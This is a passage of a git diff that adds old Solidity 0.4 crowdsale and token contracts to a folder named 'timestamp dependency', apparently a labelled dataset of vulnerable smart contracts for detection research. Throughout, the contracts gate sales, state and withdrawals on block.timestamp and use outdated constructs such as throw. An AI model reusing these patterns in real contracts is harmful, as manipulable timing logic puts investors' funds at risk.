Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) { + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + + + + + + +contract StandardToken is ERC20, SafeMath { + + + event Minted(address receiver, uint amount); + + + mapping(address => uint) balances; + + + mapping (address => mapping (address => uint)) allowed; + + + function isToken() public constant returns (bool weAre) { + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + balances[msg.sender] = safeSub(balances[msg.sender], _value); + balances[_to] = safeAdd(balances[_to], _value); + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + uint _allowance = allowed[_from][msg.sender]; + + balances[_to] = safeAdd(balances[_to], _value); + balances[_from] = safeSub(balances[_from], _value); + allowed[_from][msg.sender] = safeSub(_allowance, _value); + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) constant returns (uint balance) { + return balances[_owner]; + } + + function approve(address _spender, uint _value) returns (bool success) { + + + + + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + +} + + + + + + +contract MintableTokenExt is StandardToken, Ownable { + + using SafeMathLibExt for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state ); + + + struct ReservedTokensData { + uint inTokens; + uint inPercentageUnit; + uint inPercentageDecimals; + bool isReserved; + bool isDistributed; + } + + mapping (address => ReservedTokensData) public reservedTokensList; + address[] public reservedTokensDestinations; + uint public reservedTokensDestinationsLen = 0; + bool reservedTokensDestinationsAreSet = false; + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } + + function finalizeReservedAddress(address addr) public onlyMintAgent canMint { + ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; + reservedTokensData.isDistributed = true; + } + + function isAddressReserved(address addr) public constant returns (bool isReserved) { + return reservedTokensList[addr].isReserved; + } + + function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { + return reservedTokensList[addr].isDistributed; + } + + function getReservedTokens(address addr) public constant returns (uint inTokens) { + return reservedTokensList[addr].inTokens; + } + + function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { + return reservedTokensList[addr].inPercentageUnit; + } + + function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { + return reservedTokensList[addr].inPercentageDecimals; + } + + function setReservedTokensListMultiple( + address[] addrs, + uint[] inTokens, + uint[] inPercentageUnit, + uint[] inPercentageDecimals + ) public canMint onlyOwner { + assert(!reservedTokensDestinationsAreSet); + assert(addrs.length == inTokens.length); + assert(inTokens.length == inPercentageUnit.length); + assert(inPercentageUnit.length == inPercentageDecimals.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + if (addrs[iterator] != address(0)) { + setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); + } + } + reservedTokensDestinationsAreSet = true; + } + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply = totalSupply.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { + assert(addr != address(0)); + if (!isAddressReserved(addr)) { + reservedTokensDestinations.push(addr); + reservedTokensDestinationsLen++; + } + + reservedTokensList[addr] = ReservedTokensData({ + inTokens: inTokens, + inPercentageUnit: inPercentageUnit, + inPercentageDecimals: inPercentageDecimals, + isReserved: true, + isDistributed: false + }); + } +} + + +contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { + + + uint public maximumSellableTokens; + + function MintedTokenCappedCrowdsaleExt( + string _name, + address _token, + PricingStrategy _pricingStrategy, + address _multisigWallet, + uint _start, uint _end, + uint _minimumFundingGoal, + uint _maximumSellableTokens, + bool _isUpdatable, + bool _isWhiteListed + ) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) { + maximumSellableTokens = _maximumSellableTokens; + } + + + event MaximumSellableTokensChanged(uint newMaximumSellableTokens); + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) { + return tokensSoldTotal > maximumSellableTokens; + } + + function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) { + assert(isWhiteListed); + uint maxCap = earlyParticipantWhitelist[addr].maxCap; + return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap; + } + + function isCrowdsaleFull() public constant returns (bool) { + return tokensSold >= maximumSellableTokens; + } + + function setMaximumSellableTokens(uint tokens) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + assert(!lastTierCntrct.finalized()); + + maximumSellableTokens = tokens; + MaximumSellableTokensChanged(maximumSellableTokens); + } + + function updateRate(uint newOneTokenInWei) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + assert(!lastTierCntrct.finalized()); + + pricingStrategy.updateRate(newOneTokenInWei); + } + + + function assignTokens(address receiver, uint tokenAmount) private { + MintableTokenExt mintableToken = MintableTokenExt(token); + mintableToken.mint(receiver, tokenAmount); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10826.sol b/smart_contract_dataset/timestamp dependency/10826.sol new file mode 100644 index 0000000000000000000000000000000000000000..3df9b66a992868b9830c6a77f01e7b73320aece7 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10826.sol @@ -0,0 +1,567 @@ +pragma solidity ^0.4.11; + + +contract Ownable { + address public owner; + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner { + if (newOwner != address(0)) { + owner = newOwner; + } + } + +} + + +contract Haltable is Ownable { + bool public halted = false; + + modifier inNormalState { + require(!halted); + _; + } + + modifier inEmergencyState { + require(halted); + _; + } + + + function halt() external onlyOwner inNormalState { + halted = true; + } + + + function unhalt() external onlyOwner inEmergencyState { + halted = false; + } +} + + +library SafeMath { + function mul(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal constant returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal constant returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) constant returns (uint256); + function transfer(address to, uint256 value) returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + + function transfer(address _to, uint256 _value) returns (bool) { + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + +} + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) constant returns (uint256); + function transferFrom(address from, address to, uint256 value) returns (bool); + function approve(address spender, uint256 value) returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) returns (bool) { + var _allowance = allowed[_from][msg.sender]; + + + + + balances[_to] = balances[_to].add(_value); + balances[_from] = balances[_from].sub(_value); + allowed[_from][msg.sender] = _allowance.sub(_value); + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) returns (bool) { + + + + + + require((_value == 0) || (allowed[msg.sender][_spender] == 0)); + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + +} + + +contract Burnable is StandardToken { + using SafeMath for uint; + + + event Burn(address indexed from, uint value); + + function burn(uint _value) returns (bool success) { + require(_value > 0 && balances[msg.sender] >= _value); + balances[msg.sender] = balances[msg.sender].sub(_value); + totalSupply = totalSupply.sub(_value); + Burn(msg.sender, _value); + return true; + } + + function burnFrom(address _from, uint _value) returns (bool success) { + require(_from != 0x0 && _value > 0 && balances[_from] >= _value); + require(_value <= allowed[_from][msg.sender]); + balances[_from] = balances[_from].sub(_value); + totalSupply = totalSupply.sub(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + Burn(_from, _value); + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + require(_to != 0x0); + + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + require(_to != 0x0); + + return super.transferFrom(_from, _to, _value); + } +} + + + +contract ERC223ReceivingContract { + + function tokenFallback(address _from, uint _value, bytes _data); +} + + +contract AnythingAppToken is Burnable, Ownable { + + string public constant name = "AnythingApp Token"; + string public constant symbol = "ANY"; + uint8 public constant decimals = 18; + uint public constant INITIAL_SUPPLY = 400000000 * 1 ether; + + + address public releaseAgent; + + + bool public released = false; + + + mapping (address => bool) public transferAgents; + + event Transfer(address indexed from, address indexed to, uint value, bytes data); + + + modifier canTransfer(address _sender) { + require(released || transferAgents[_sender]); + _; + } + + + modifier inReleaseState(bool releaseState) { + require(releaseState == released); + _; + } + + + modifier onlyReleaseAgent() { + require(msg.sender == releaseAgent); + _; + } + + + + function AnythingAppToken() { + totalSupply = INITIAL_SUPPLY; + balances[msg.sender] = INITIAL_SUPPLY; + Transfer(0x0, msg.sender, INITIAL_SUPPLY); + } + + + function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { + require(addr != 0x0); + + + releaseAgent = addr; + } + + function release() onlyReleaseAgent inReleaseState(false) public { + released = true; + } + + + function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { + require(addr != 0x0); + transferAgents[addr] = state; + } + + function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { + + return super.transferFrom(_from, _to, _value); + } + + + + function transfer(address _to, uint _value, bytes _data) canTransfer(msg.sender) returns (bool success) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + uint codeLength; + assembly { + codeLength := extcodesize(_to) + } + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + if(codeLength>0) { + ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); + receiver.tokenFallback(msg.sender, _value, _data); + } + Transfer(msg.sender, _to, _value, _data); + return true; + } + + + function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + uint codeLength; + bytes memory empty; + + assembly { + codeLength := extcodesize(_to) + } + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + if(codeLength>0) { + ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); + receiver.tokenFallback(msg.sender, _value, empty); + } + Transfer(msg.sender, _to, _value, empty); + return true; + } + + function burn(uint _value) onlyOwner returns (bool success) { + return super.burn(_value); + } + + function burnFrom(address _from, uint _value) onlyOwner returns (bool success) { + return super.burnFrom(_from, _value); + } +} + +contract InvestorWhiteList is Ownable { + mapping (address => bool) public investorWhiteList; + + mapping (address => address) public referralList; + + function InvestorWhiteList() { + + } + + function addInvestorToWhiteList(address investor) external onlyOwner { + require(investor != 0x0 && !investorWhiteList[investor]); + investorWhiteList[investor] = true; + } + + function removeInvestorFromWhiteList(address investor) external onlyOwner { + require(investor != 0x0 && investorWhiteList[investor]); + investorWhiteList[investor] = false; + } + + + function addReferralOf(address investor, address referral) external onlyOwner { + require(investor != 0x0 && referral != 0x0 && referralList[investor] == 0x0 && investor != referral); + referralList[investor] = referral; + } + + function isAllowed(address investor) constant external returns (bool result) { + return investorWhiteList[investor]; + } + + function getReferralOf(address investor) constant external returns (address result) { + return referralList[investor]; + } +} + +contract PriceReceiver { + address public ethPriceProvider; + + modifier onlyEthPriceProvider() { + require(msg.sender == ethPriceProvider); + _; + } + + function receiveEthPrice(uint ethUsdPrice) external; + + function setEthPriceProvider(address provider) external; +} + +contract AnythingAppTokenPreSale is Haltable, PriceReceiver { + using SafeMath for uint; + + string public constant name = "AnythingAppTokenPreSale"; + + AnythingAppToken public token; + InvestorWhiteList public investorWhiteList; + address public beneficiary; + + uint public tokenPriceUsd; + uint public totalTokens; + + uint public ethUsdRate; + + uint public collected = 0; + uint public withdrawn = 0; + uint public tokensSold = 0; + uint public investorCount = 0; + uint public weiRefunded = 0; + + uint public startTime; + uint public endTime; + + bool public crowdsaleFinished = false; + + mapping (address => bool) public refunded; + mapping (address => uint) public deposited; + + uint public constant BONUS_LEVEL_1 = 40; + uint public constant BONUS_LEVEL_2 = 35; + uint public constant BONUS_LEVEL_3 = 30; + + uint public firstStage; + uint public secondStage; + uint public thirdStage; + + uint public constant MINIMAL_PURCHASE = 250 ether; + uint public constant LIMIT_PER_USER = 500000 ether; + + event NewContribution(address indexed holder, uint tokenAmount, uint etherAmount); + event NewReferralTransfer(address indexed investor, address indexed referral, uint tokenAmount); + event Refunded(address indexed holder, uint amount); + event Deposited(address indexed holder, uint amount); + + modifier preSaleActive() { + require(block.timestamp >= startTime && block.timestamp < endTime); + _; + } + + modifier preSaleEnded() { + require(block.timestamp >= endTime); + _; + } + + modifier inWhiteList() { + require(investorWhiteList.isAllowed(msg.sender)); + _; + } + + function AnythingAppTokenPreSale( + address _token, + address _beneficiary, + address _investorWhiteList, + + uint _totalTokens, + uint _tokenPriceUsd, + + uint _baseEthUsdPrice, + + uint _firstStage, + uint _secondStage, + uint _thirdStage, + + uint _startTime, + uint _endTime + ) { + ethUsdRate = _baseEthUsdPrice; + tokenPriceUsd = _tokenPriceUsd; + + totalTokens = _totalTokens.mul(1 ether); + + token = AnythingAppToken(_token); + investorWhiteList = InvestorWhiteList(_investorWhiteList); + beneficiary = _beneficiary; + + firstStage = _firstStage.mul(1 ether); + secondStage = _secondStage.mul(1 ether); + thirdStage = _thirdStage.mul(1 ether); + + startTime = _startTime; + endTime = _endTime; + } + + function() payable inWhiteList { + doPurchase(msg.sender); + } + + function tokenFallback(address _from, uint _value, bytes _data) public pure { } + + function doPurchase(address _owner) private preSaleActive inNormalState { + if (token.balanceOf(msg.sender) == 0) investorCount++; + + uint tokens = msg.value.mul(ethUsdRate).div(tokenPriceUsd); + address referral = investorWhiteList.getReferralOf(msg.sender); + uint referralBonus = calculateReferralBonus(tokens); + uint bonus = calculateBonus(tokens, referral); + + tokens = tokens.add(bonus); + + uint newTokensSold = tokensSold.add(tokens); + if (referralBonus > 0 && referral != 0x0) { + newTokensSold = newTokensSold.add(referralBonus); + } + + require(newTokensSold <= totalTokens); + require(token.balanceOf(msg.sender).add(tokens) <= LIMIT_PER_USER); + + tokensSold = newTokensSold; + + collected = collected.add(msg.value); + deposited[msg.sender] = deposited[msg.sender].add(msg.value); + + token.transfer(msg.sender, tokens); + NewContribution(_owner, tokens, msg.value); + + if (referralBonus > 0 && referral != 0x0) { + token.transfer(referral, referralBonus); + NewReferralTransfer(msg.sender, referral, referralBonus); + } + } + + function calculateBonus(uint _tokens, address _referral) private returns (uint _bonuses) { + uint bonus; + + if (tokensSold < firstStage) { + bonus = BONUS_LEVEL_1; + } else if (tokensSold >= firstStage && tokensSold < secondStage) { + bonus = BONUS_LEVEL_2; + } else { + bonus = BONUS_LEVEL_3; + } + + if (_referral != 0x0) { + bonus += 5; + } + + return _tokens.mul(bonus).div(100); + } + + function calculateReferralBonus(uint _tokens) internal constant returns (uint _bonus) { + return _tokens.mul(20).div(100); + } + + function withdraw() external onlyOwner { + uint withdrawLimit = 500 ether; + if (withdrawn < withdrawLimit) { + uint toWithdraw = collected.sub(withdrawn); + if (toWithdraw + withdrawn > withdrawLimit) { + toWithdraw = withdrawLimit.sub(withdrawn); + } + beneficiary.transfer(toWithdraw); + withdrawn = withdrawn.add(toWithdraw); + return; + } + require(block.timestamp >= endTime); + beneficiary.transfer(collected); + token.transfer(beneficiary, token.balanceOf(this)); + crowdsaleFinished = true; + } + + function refund() external preSaleEnded inNormalState { + require(refunded[msg.sender] == false); + + uint refund = deposited[msg.sender]; + require(refund > 0); + + deposited[msg.sender] = 0; + refunded[msg.sender] = true; + weiRefunded = weiRefunded.add(refund); + msg.sender.transfer(refund); + Refunded(msg.sender, refund); + } + + function receiveEthPrice(uint ethUsdPrice) external onlyEthPriceProvider { + require(ethUsdPrice > 0); + ethUsdRate = ethUsdPrice; + } + + function setEthPriceProvider(address provider) external onlyOwner { + require(provider != 0x0); + ethPriceProvider = provider; + } + + function setNewWhiteList(address newWhiteList) external onlyOwner { + require(newWhiteList != 0x0); + investorWhiteList = InvestorWhiteList(newWhiteList); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10833.sol b/smart_contract_dataset/timestamp dependency/10833.sol new file mode 100644 index 0000000000000000000000000000000000000000..3df9b66a992868b9830c6a77f01e7b73320aece7 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10833.sol @@ -0,0 +1,567 @@ +pragma solidity ^0.4.11; + + +contract Ownable { + address public owner; + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner { + if (newOwner != address(0)) { + owner = newOwner; + } + } + +} + + +contract Haltable is Ownable { + bool public halted = false; + + modifier 